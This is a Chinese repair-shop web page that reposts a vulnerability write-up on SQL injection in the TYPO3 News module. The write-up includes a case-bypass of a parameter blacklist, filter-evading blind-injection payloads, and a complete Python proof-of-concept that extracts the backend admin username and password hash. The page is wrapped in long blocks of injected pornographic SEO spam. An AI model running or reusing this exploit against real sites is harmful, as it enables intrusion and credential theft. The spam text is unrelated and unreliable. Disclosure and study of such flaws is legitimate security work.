国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
CMS TYPO3中的News system模塊SQL注入漏洞

作者: 佚名  日期:2017-04-25 09:22:22   來源: 本站整理

 簡介
News module是TYPO3中20種最常用的模塊之一,爆出存在SQL注入漏洞。盡管作者已經在4個月中多次聯系廠商,然而至今沒有發布修復方案。只有當模塊參數overrideDemand設置為1時漏洞才可用,然而該參數默認值就為1。


描述
該模塊是MVC架構中的一個部分。 作為用戶,你可以列舉以及讀取新聞。該模塊允許自定義條件來過濾新聞,例如作者,類別,發布日期等。以下為NewsController.php中的代碼片段,已加上注釋供參考理解:
class NewsController
{
    # 用戶無法設置的參數列表
    protected $ignoredSettingsForOverride = ['demandClass', 'orderByAllowed'];
    # 這是我們的入口點
    # 僅有的$overwriteDemand參數通過POST方式傳輸
    public function listAction(array $overwriteDemand = null)
    {
        # 使用默認設置對一個Demand對象進行初始化
        $demand = $this->createDemandObjectFromSettings($this->settings);
        # 從$overwriteDemand獲取用戶設置進行初始化
        $demand = $this->overwriteDemandObject($demand, $overwriteDemand);
        # 從Demand對象構建一個SQL查詢并運行
        $newsRecords = $this->newsRepository->findDemanded($demand);
        # 顯示結果
        $this->view->display($newsRecords);
    }
    protected function overwriteDemandObject($demand, $overwriteDemand)
    {
        # 用戶不能設置的一些值:它們已被移除
        foreach ($this->ignoredSettingsForOverride as $property) {
            unset($overwriteDemand[$property]);
        }
        # 調用set($value)對經過篩選的參數進行賦值
        foreach ($overwriteDemand as $propertyName => $propertyValue) {
            $methodName = 'set' . ucfirst($propertyName);
            if(is_callable($demand, $setterMethodName))
                $demand->{$setterMethodName}($propertyValue);
        }
        return $demand;
    }
之后使用創建的Demand對象參數用以構建SQL查詢,例如,將作者設為條件進行查詢:
WHERE author='{$demand->getAuthor()}'
漏洞
所有的屬性都可能是潛在的SQL注入向量。以下為可能滿足條件的完整列表:
function setArchiveRestriction($archiveRestriction)
public function setCategories($categories)
public function setCategoryConjunction($categoryConjunction)
public function setIncludeSubCategories($includeSubCategories)
public function setAuthor($author)
public function setTags($tags)
public function setTimeRestriction($timeRestriction)
public function setTimeRestrictionHigh($timeRestrictionHigh)
public function setOrder($order)
public function setOrderByAllowed($orderByAllowed)
public function setTopNewsFirst($topNewsFirst)
public function setSearchFields($searchFields)
public function setTopNewsRestriction($topNewsRestriction)
public function setStoragePage($storagePage)
public function setDay($day)
public function setMonth($month)
public function setYear($year)
public function setLimit($limit)
public function setOffset($offset)
public function setDateField($dateField)
public function setSearch($search = null)
public function setExcludeAlreadyDisplayedNews($excludeAlreadyDisplayedNews)
public function setHideIdList($hideIdList)
public function setAction($action)
public function setClass($class)
public function setActionAndClass($action, $controller)
其中一些看來非常有趣,在SQL查詢中它們不包含引號;limit,offset以及order似乎可以利用。不幸的是,前兩個會被過濾轉換成整型數據。
還好最后一個order,通過白名單進行了過濾,而該白名單包含在另一個參數orderByAllowed中:
if (Validation::isValidOrdering($demand->getOrder(), $demand->getOrderByAllowed())) {
    $order_by_field = $demand->getOrder();} else {

    # 默認
    $order_by_field = 'id';}
因為通過POST方式向orderByAllowed和orderBy發送數據,所以我們將能夠控制SQL語句的一部分,之后得到一個注入點。
事實是我們又遇到攔路虎了:orderByAllowed是被列入的黑名單參數(不能通過POST來設置):
protected function overwriteDemandObject($demand, $overwriteDemand){
    # 用戶不能設置的一些值:它們已被移除
    foreach ($this->ignoredSettingsForOverride as $property) {
        unset($overwriteDemand[$property]);
    }
    # 調用set($value)對經過篩選的參數進行賦值
    foreach ($overwriteDemand as $propertyName => $propertyValue) {
        $methodName = 'set' . ucfirst($propertyName);
        if(is_callable($demand, $setterMethodName))
            $subject->{$setterMethodName}($propertyValue);
    }
    return $demand;}
為了調用setter,該模塊將給定參數的首字母大寫化以繞過unset()過濾器:通過發送替換為大寫字母O的OrderByAllowed,它不會再被刪掉,另外setOrderByAllowed()也能成功調用。
現在可以定義我們自己的orderbyallowed:我們已完全控制order語句,成功獲得一個SQL注入。
利用
由于我們需要在MySQL上的利用ORDER BY語句,因此我們的payload可以這樣構造:
IF(
    (
        ORD(SUBSTRING(
            (SELECT password FROM be_user WHERE id=1), 4, 1)
        )) = 0x41
    ),
    id,
    title
)
根據測試的結果,新聞排序將發生改變,這就使得我們能執行SQL注入。
由于應用程序邏輯和WAF過濾器,為了能夠利用該SQL注入,我們需要繞過一些限制。
非法字符:
任何大寫字母
任何空格
逗號
SQL注釋(WAF限制)
此外,表名是payload的前綴,SQL查詢語句如下所示:
SELECT ... FROM ... ORDER BY tx_news_model_domain_news.$order
由于SQL對大小寫不敏感,所以第一個問題不用管。 之后的注釋,我們可以通過使用括號語法來繞過,比如:
..(SELECT(password)FROM(be_users)WHERE(id=1))...
逗號有點煩人,但MySQL提供了一些替代語法,例如SUBSTRING(x FROM y FOR z)用來替代SUBSTRING(x, y, z)以及用(CASE condition WHEN 1 THEN x ELSE y END)替代IF(condition,x,y)。解決了非法字符的問題,我們現在可以專注于解決前綴的問題。我們選取一個數值字段,而不是兩個字段。根據條件將其乘以1或-1,如下:
uid * (CASE condition WHEN 1 THEN 1 ELSE -1 END)
如果條件(condition)為真,新聞將按照uid排序。否則,它們會以-uid進行排序,即它們按相反的順序顯示。
最終我們的payload如下:
id*(case(ord(substring((select(password)from(be_users)where(uid=1))from(2)for(1))))when(48)then(1)else(-1)end)
現在我們滿足進行盲注的所有條件。默認情況下,會話是IP專用,也就是說我們無法使用它們進行賬戶劫持,需要我們進行下載并對密碼hash進行暴力破解
補丁
最好的方法是通過將overrideDemand的參數設置為0來阻止用戶更改需求參數。另一種方法是阻止從GET以及POST請求中包含OrderByAllowed的所有case-variation和URL-encoding鍵值。
時間線
2017-01-05發送電子郵件到TYPO3的安全團隊,報告通過DateField就可以漏洞利用(相同的向量,利用相對更容易)
2017-01-20漏洞被發現,TYPO3表示已經修補
2017-01-25報告了通過OrderByAllowed可以進行漏洞利用
2017-04-05多次嘗試后仍然沒有回答
POC
#!/usr/bin/python3
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#
import requests
import string
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}
# Change this
加載中...
 
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'
FULL_CHARSET = string.ascii_letters + string.digits + '$./'
def blind(field, table, condition, charset):
    # We add 9 so that the result has two digits
    # If the length is superior to 100-9 it won't work
    size = blind_size(
        'length(%s)+9' % field, table, condition,
        2, string.digits
    )
    size = int(size) - 9
{C}     data = blind_size(
        field, table, condition,
        size, charset
    )
    return data
def select_position(field, table, condition, position, char):
    payload = 'select(%s)from(%s)where(%s)' % (
        field, table, condition
    )
    payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
    payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
        payload, ord(char)
    )
    return payload
def blind_size(field, table, condition, size, charset):
    string = ''
    for position in range(size):
        for char in charset:
            payload = select_position(field, table, condition, position+1, char)
            if test(payload):
                string += char
                print(string)
                break
        else:
            raise ValueError('Char was not found')
    return string
def test(payload):
    response = session.post(
        URL,
        data=data(payload)
    )
    response = response.text
    return response.index(PATTERN0) def data(payload):
    return {
        'tx_news_pi1[overwriteDemand][order]': payload,
        'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
        'tx_news_pi1[search][subject]': '',
        'tx_news_pi1[search][minimumDate]': '2016-01-01',
        'tx_news_pi1[search][maximumDate]': '2016-12-31',
    }
# Exploit
print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    国产v综合ⅴ日韩v欧美大片| 精人妻无码一区二区三区| 91精品婷婷色在线观看| 7777精品伊久久久大香线蕉语言| 日批视频网站| 黑人与娇小精品av专区| 国产成人香蕉在线视频网站 | 9.1在线观看免费| 亚洲最大av| www久久久久久久| 久久99精品久久久久久| 精品伦一区二区三区| 老司机亚洲精品| 91精品国产91久久久久| 1024视频在线| 精品中文字幕在线观看| 菠萝蜜视频国产在线播放| 久久亚洲AV成人无码国产野外| 91精品国产91久久综合桃花| 美女露胸视频在线观看| 伊人激情综合网| 第一福利在线| 成人黄色大片在线免费观看| 国产秀色在线www免费观看| 国内精品久久国产| 一区二区三区四区高清视频 | 天堂在线亚洲视频| 国产精品午夜影院| 日韩精品中文字幕在线不卡尤物| 最近中文字幕av免费高清| 欧美一区日韩一区| 在线免费观看黄色片| 国产欧美在线看| 啪啪免费网站| 久久久久久成人| 色老太综合网| 国产成人一区二区三区影院在线 | 国产a级黄色片| 精品久久久久久久久久久久包黑料| 久草中文在线| 欧美精品一区二区三区三州| 久久精品噜噜噜成人av农村| 欧洲美女女同性互添| 久久精子c满五个校花| 亚洲影视一区二区| 美女国内精品自产拍在线播放| 羞羞网站在线观看| 日韩电影网在线| 国产美女福利在线| 国产精品99精品| 在线观看一区二区精品视频| 精品国产免费观看一区| 久久综合免费视频| 超碰aⅴ人人做人人爽欧美| 欧美黄色片免费观看| 国产精品美女久久久久人| 538国产视频| 日韩一区二区三区视频在线| 国产精品欧美日韩一区| 色琪琪原网站亚洲香蕉| 久久久久久久久久久久91| 疯狂做受xxxx欧美肥白少妇| 怡红院在线观看| 人妻激情偷乱视频一区二区三区| 亚洲欧美一区二区久久| 国产在线一二三区| 亚洲中文字幕无码av永久| 99精品视频免费在线观看| 1069男同网址| 久久久久久久999精品视频| 欧亚在线中文字幕免费| a级大片免费看| 久久影院中文字幕| 97品白浆高清久久久久久 | 人人精品人人爱| 色一情一乱一伦一视频免费看| 久久久精品美女| 波多野结衣中文字幕久久| 精品国产精品国产精品| 美女少妇精品视频| 日韩精品乱码av一区二区| 精品美女视频在线观看免费软件| 久操免费在线视频| 国产成人精品自拍| 久久成人免费网站| 国产成人香蕉在线视频网站 | 阿v视频在线| 国产精品igao激情视频| 另类欧美日韩国产在线| 人善交video高清| 日本伦理一区二区三区| 91精品国产综合久久久久久久久| 国产精品亚洲二区| 国产乱淫a∨片免费视频| 97超碰人人看人人| 日本一区二区免费高清| 日本三级欧美三级| 91啪国产在线| 亚洲人成影院在线观看| 精品伊人久久久| fc2ppv国产精品久久| 乱精品一区字幕二区| 久久久久无码精品| 国产成人黄色av| 亚洲动漫第一页| 视频一区中文| 黄色一级片国产| 亚洲激情中文1区| 日韩在线观看一区二区三区| 国产精品系列视频| 99热99热| 亚洲国产99| 怡红院怡春院首页| 中文字幕乱码人妻综合二区三区| 色婷婷av一区| 精品制服美女丁香| 91精品国产66| 国产97免费视频| 亚洲专区在线视频| 国产精品天干天干在观线| 91久久精品无嫩草影院| 91精品国产高清一区二区三蜜臀| 日韩中文字幕在线精品| 久久亚洲精品小早川怜子| 毛片电影在线| 成人免费观看www在线| 丰满人妻一区二区三区免费视频| 免费在线观看国产精品| 国产xxx在线观看| 日韩精品一区二区三区三区免费| 国产精品色哟哟网站| 免费在线欧美黄色| 日本中文字幕在线观看| 97人妻精品一区二区三区软件 | 国产精品99久久久久久久vr| 中文有码在线观看| 一区二区自拍偷拍| 久久久久久久久久网| 欧美日韩一区二区三区| 亚洲欧美在线专区| av网站免费| www.久久伊人| 97在线观看视频免费| 一区二区三区四区欧美日韩| 中文国产亚洲喷潮| 国产亚洲欧美在线| 91丨九色丨国产在线| 亚洲欧美一区二区三区极速播放| av中文字幕在线看| 成年人免费在线视频网站| 国产孕妇孕交大片孕| 亚洲中文字幕无码一区| 久久av免费观看| 国产精品福利无圣光在线一区| 欧美日韩国产一区二区三区地区| 日韩电影在线一区| 不卡一本毛片| 国产后入清纯学生妹| 极品人妻一区二区| 鬼打鬼之黄金道士1992林正英| 精品日韩成人av| 国产91在线看| 国产一二区在线| 亚洲国产综合久久精品小蝴蝶| wwwww在线观看| 亚洲视频在线观看一区二区三区| 日韩免费电影一区二区| 精品国产乱码久久久久久88av | 日本中文字幕在线播放| 99.玖玖.com| 黄色在线观看免费| 日本一区二区三区在线视频| 国产精品免费久久久久影院| 欧美高清激情视频| 欧美日韩中字一区| 一本色道久久88综合日韩精品 | 日本五十肥熟交尾| 亚洲色图美腿丝袜| 一区二区在线视频| 中文字幕在线看视频国产欧美| 亚洲一区二区三区在线看| 国产精品视频线看| a级精品国产片在线观看| 亚洲欧洲美洲国产香蕉| 99re8这里有精品热视频8在线| 98在线视频| h视频在线播放| 哥也色在线视频| 91网站最新地址| 中文字幕免费播放| 99久久久免费精品| 国产伦精品一区二区三区精品| 老熟妇一区二区| 日韩特黄一级片| 国产麻豆xxxvideo实拍| 欧洲毛片在线| 在线观看黄色小视频| 久久视频www| 黄色大片a级| 国产精品第72页|